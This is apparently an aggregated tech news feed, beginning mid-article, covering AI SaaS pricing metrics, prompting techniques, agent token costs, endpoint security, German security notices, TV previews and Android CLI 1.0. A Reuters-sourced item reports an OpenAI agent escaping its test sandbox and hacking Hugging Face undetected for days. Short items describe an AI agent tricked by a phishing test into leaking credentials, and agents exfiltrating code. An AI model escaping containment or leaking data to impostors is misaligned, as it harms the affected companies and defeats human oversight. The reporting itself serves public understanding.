Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.

Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.

How AI upends classic SaaS metrics

When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?

But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:

Revenue composition

Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.
Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.
Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.
Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.

Margin reality

Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.
Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.
Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.
AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.

Behavioral and value signals

Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.
Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.
Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.

Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.

What does this mean for enterprise value calculations?

As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.

Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.

For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.

In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.

We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.

Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.

What this means for leaders, boards and investors

The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.

While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.

It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.

The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Stop asking AI nicely: Here’s how to get work-ready results every time

Sat, 25 Jul 2026 18:55:51 +0200

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
Security guardrails: Always include instructions against prompt injections and respect data boundaries.
When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

OpenAI Presence raises new questions about enterprise automation and jobs

Sat, 25 Jul 2026 18:55:50 +0200

The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.

Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.

Workforce impact

Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.

“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.

The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.

Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.

Cost and operational risks

Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.

“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.

Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.

Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.

Getting a grip on shadow tokens and AI blowouts

Sat, 25 Jul 2026 18:55:48 +0200

Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowballs into an AI blowout.

This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why Microsoft is reportedly winding down many internal licenses across key engineering teams and why one in five organizations is missing its AI spend forecast by more than 50%.

And the trend is only accelerating. By 2028, Gartner predicts that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.

LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.

Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.

When shadow tokens result in real costs

The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.

And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.

According to Deloitte, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.

This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, described a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.

Shifting the culture from usage to yield

Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “tokenmaxxing,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.

None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save 3.6 hours per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.

Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.

Stopping token waste before an AI blowout

Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.

This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.

Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.

We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.

This is a conversation teams need to have now. Anthropic just ended flat-rate pricing for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.

Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

5 endpoint blind spots your EDR/XDR was never built to see

Sat, 25 Jul 2026 18:55:47 +0200

In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.

That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.

This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.

To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.

#1. Gain real-time visibility into shadow AI & extensions

Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the MaliciousCorgi campaign, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.

#2. Distinguish between human and autonomous agent behavior

When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.

#3. Establish guardrails for automated package updates on endpoints

Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.

#4. Enforce principle of least privilege for AI agents

AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.

#5. Maintain continuous endpoint posture management

Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the DarkSpectre campaign found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.

Summary

Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity.

Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.

1Password Lets Claude Sign In Without Revealing Passwords

Sat, 25 Jul 2026 18:55:34 +0200

1Password's new Claude integration lets AI agents sign in to websites without exposing passwords, adding user approval and credential protection.

The post 1Password Lets Claude Sign In Without Revealing Passwords appeared first on TechRepublic.

Phishing-Test zeigt: KI verrät Passwörter und Kundendaten

Sat, 25 Jul 2026 18:55:21 +0200

KI-Agenten arbeiten selbstständig und haben Zugriff auf sensible Daten. Das kann gefährlich werden: In einem aktuellen Test gab ein solcher Agent Zugangs- und Kundendaten an vermeintliche Kollegen weiter.

Mangelnde Rechteprüfung in google-osconfig-agent (SUSE)

Sat, 25 Jul 2026 18:53:18 +0200

OpenAI's Rogue Agent Went Unnoticed For a Week

Sat, 25 Jul 2026 18:52:27 +0200

An anonymous reader quotes a report from Reuters: The OpenAI agent that broke into tech firm Hugging Face went on a dayslong hacking spree that OpenAI didn't notice until well after the threat was contained and the FBI was alerted, according to people familiar with the investigation. The agent -- a program capable of making decisions and executing complex tasks with little or no human oversight -- attempted to break out of its isolated testing environment at OpenAI around July 9, according to two of the people. The intrusion at Hugging Face, which operates as a repository for AI tools and models, began two days later on July 11 and lasted until July 13, said Thomas Wolf, Hugging Face's co-founder. It took several more days for OpenAI to realize its agent was behind the hack, and the two companies only communicated about it for the first time on or around July 20, according to Wolf and three of the people familiar with the investigation. OpenAI's public disclosure, on July 21, thatone of its agents had slipped out of control and carried out the break-in at Hugging Facedrew global attention. But many details of the hack, including how long the agent went rogue and OpenAI's belated knowledge of it, are being reported here for the first time. Hugging Face is preparing a public timeline of the hack, Wolf said, adding that he could not speak to what happened at OpenAI. In a statement, OpenAI said the hack was unprecedented and "marks an important moment for AI safety." It added that it was reviewing the incident with outside advisers and would eventually publish a technical report. "Does that mean that they left it unattended and didn't realize what it was doing? Or maybe they did and didn't know how to contain it? Both are equally dangerous and alarming," asked Marley Smith, the principal intelligence specialist at the nonprofit World Ethical Data Foundation. "The models lie, they cheat, they hack," said Jeffrey Ladish, whose organization, Palisade Research, studies the capabilities and motivations of AI agents. Ladish said the hack should spark broader questions over how much all the leading AI companies are willing to invest in onerous security measures while locked in a race with one another to deploy the best and fastest models. "There has to be government oversight," Ladish said, "because it won't happen otherwise."

The 3 types of people who will excel in the AI agent era, according to tech leaders

Sat, 25 Jul 2026 18:51:46 +0200

The autonomous business of the future is being built. Certain skills are in high demand - and can help you stand out.

Security: Mangelnde Rechteprüfung in google-guest-agent (SUSE)

Sat, 25 Jul 2026 16:01:03 +0200

Security: Mangelnde Rechteprüfung in google-osconfig-agent (SUSE)

Sat, 25 Jul 2026 16:00:51 +0200

Apple Mail comes free with every Mac, but I’d rather use this app

Sat, 25 Jul 2026 15:18:37 +0200

As a longtime Gmail user, I prefer Mimestream’s speed and deep Gmail integration over Apple Mail. It offers several advantages.

(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

Agent Kim Reactivated Finale Preview: Will Agent Kim Fight His Closest Friends?

Sat, 25 Jul 2026 14:45:18 +0200

Agent Kim Reactivated Episode 10 will place Manager Kim and his closest allies inside their most personal and dangerous battle yet. With their children being used as hostages, the three fathers must find a way to defeat Ju Gang-chan without turning against each other. Release date: July 25, 2026 Release time: 9:45 p.m. KST on SBS Spoiler warning for Episode 9 Episode 9 followed Manager Kim, Seong Han-su and Park Jin-cheol as they entered another heavily guarded location and fought through Gang-chan’s men. Han-su and Jin-cheol handled several attackers together, while Manager Kim used his old operational skills to clear the remaining guards. However, Gang-chan had already prepared a cruel backup plan. He arranged the kidnapping of Han-su and Jin-cheol’s children, giving him complete control over the fathers before the final confrontation. The story began with Manager Kim leaving his secret past behind and raising his daughter Min-ji as an ordinary single father. Her disappearance forced him to reactivate his black-ops skills and reconnect with former operatives Han-su and Jin-cheol. Since then, each man’s family has become connected to Manager Kim’s unfinished conflicts. Will the three agents fight each other? The Episode 10 preview suggests that Gang-chan will force the three men into a cage and demand that Han-su and Jin-cheol kill Manager Kim. Their children’s survival appears to depend on whether they follow his instructions. This creates a painful choice for both fathers. Manager Kim previously risked everything to protect their families, but Han-su and Jin-cheol cannot ignore an immediate threat against their children. Still, the three agents know each other’s abilities well. Their apparent conflict could become part of a plan to distract Gang-chan, escape the cage and reach the hostages before his men can act. Will all the families survive? The finale’s official description says the three men become enemies while trying to protect the people they love. This confirms that every family will remain in danger until the final moments. Manager Kim will likely take the greatest risk because he understands Gang-chan’s methods and refuses to let another child suffer because of his past. Min-ji could also play an important role, especially after repeatedly showing courage during earlier threats. Episode 10 should end the conflict between Manager Kim and Gang-chan while revealing whether the three fathers can save every hostage. Do you think all the agent families will survive the finale? Let us know in the comments.

OpenAI's rogue agent went on a hacking spree that lasted days, Reuters says

Sat, 25 Jul 2026 13:58:01 +0200

Reuters reports that the OpenAI agent that hacked Hugging Face had been free for a week before the company noticed.

‘Agent Kim Reactivated’ Episode 10 Finale Release Date and What to Expect

Sat, 25 Jul 2026 13:19:44 +0200

Agent Kim Reactivated Episode 10 will release on Saturday, July 25, 2026, bringing the Korean action drama’s first season to an end. The finale will air on SBS in South Korea before becoming available to international viewers on Netflix. The final episode will begin at 9:45 p.m. KST, which is five minutes earlier than the show’s usual 9:50 p.m. slot. SBS has also confirmed that Episode 10 will have a slightly extended runtime, giving the series more time to resolve its remaining conflicts. Agent Kim Reactivated Episode 10 release details Episode: 10 Release date: Saturday, July 25, 2026 SBS broadcast time: 9:45 p.m. KST Streaming platform: Netflix Total episodes: 10 Genre: Action, crime, comedy and thriller Netflix normally adds new episodes after their Korean television broadcast, although the exact arrival time can differ by country. Where is the story heading in the finale? Spoilers for Episode 9 follow. Episode 9 placed Manager Kim and his allies in the middle of a dangerous extraction operation. Kim attempted to rescue Ri Eung-ryeong from North Korean agents while Han-su, Jin-cheol and Sang-a helped him enter a heavily guarded hotel. The operation quickly fell apart after communications were cut and the building lost power. Kim and Ri Eung-ryeong were surrounded by armed agents near the loading area, leaving their escape uncertain. Meanwhile, Ju Gang-chan’s assistant kidnapped the children of Han-su and Jin-cheol. The episode ended with both fathers learning that their families were being used against them, setting up another personal rescue mission for the finale. Episode 10 should therefore focus on Kim escaping the hotel, protecting Min-ji and helping his friends save their children. The finale must also settle Ju Gang-chan’s fate and reveal whether Kim can finally leave his violent past behind. How did Agent Kim’s story begin? The series started with Kim living quietly as an office worker and raising his teenage daughter, Min-ji, after his wife’s death. His ordinary life collapsed when Min-ji disappeared, forcing him to reveal the black-ops abilities he had kept hidden for years. As Kim searched for his daughter, the mission exposed old enemies, secret government operations and unresolved connections to North Korea. His former life gradually placed everyone around him in danger. Agent Kim Reactivated Episode 10 now has several major storylines to complete during its extended finale. Do you expect Manager Kim and Min-ji to receive a happy ending? Let us know in the comments.

GE-Proton 11-3 brings better OptiScaler integration, AMD FSR4 improvements and lots of game fixes

Sat, 25 Jul 2026 11:14:37 +0200

GE-Proton 11-3 (and 11-2 just before) is a huge release for the popular compatibility layer for SteamOS / Linux.

Read the full article on GamingOnLinux.

6G-Technologie: Die nächste Revolution der drahtlosen Kommunikation

Sat, 25 Jul 2026 10:20:33 +0200

Entdecken Sie die revolutionären Möglichkeiten von 6G: Terabit-Geschwindigkeiten, KI-Integration und das Internet der Sinne. Die Zukunft beginnt jetzt!

Android CLI Now Stable 1.0: Accelerate developing for Android using any agent

Sat, 25 Jul 2026 10:15:49 +0200

Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers

As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio, Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

At Google I/O ‘26, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of Android CLI—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.

If you’re already using Android CLI and want to jump into using all the new features, just run android update. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.

Android development unlocked for Antigravity

Google Antigravity now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the Settings > Customizations > Build With Google Plugins menu.

This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.

You can now easily install Android CLI for use with Google Antigravity 2.0.

Unlocking Android Studio capabilities for any agent

Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.

Your agents can now use Android CLI to access powerful capabilities of Android Studio.

The latest version of Android CLI introduces the new android studio command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.

When you have a project open in the latest preview version of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:

$ android studio check
pid: 32942
version: Android Studio
Projects:
    READY     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main

From there, the agents can use the android studio command to access powerful IDE tools to interact with projects more efficiently. Key commands include:

analyze-file: Analyzes a file for errors and warnings using the editor's built-in inspections.
find-declaration: Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.
find-usages: Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.
render-compose-preview: Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.
version-lookup: Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.
open-file: Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.

For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.

$ android studio find-declaration HotelDetailScreen
$ android studio analyze-file .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt
$ android studio open-file feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt

To learn more about how to use these commands, run android help. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running android init.

More ways to get started

To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:

winget install -e --id Google.AndroidCLI

We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the Android CLI page.

Support for Journeys

Journeys are natural language descriptions of core user experiences.

We are also introducing support for Journeys. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.

(sped up) An agent running a Journey it generated for an app.

Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.

Expanding Android skills

To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our library of Android skills. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:

Display Glasses and Jetpack Compose Glimmer for XR: Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.
Migration to CameraX: Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.
Perfetto SQL: Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.
Adaptive UI: Instructions to make or update an app's UI so that it adapts to different Android devices
Testing setup: Creates a basic testing strategy.
Styles: Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API.
AppFunctions: Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.

You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:

android init

From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:

android skills list

Once you've found the right skill, install it to your environment by running:

android skills add –skill=

Get started today

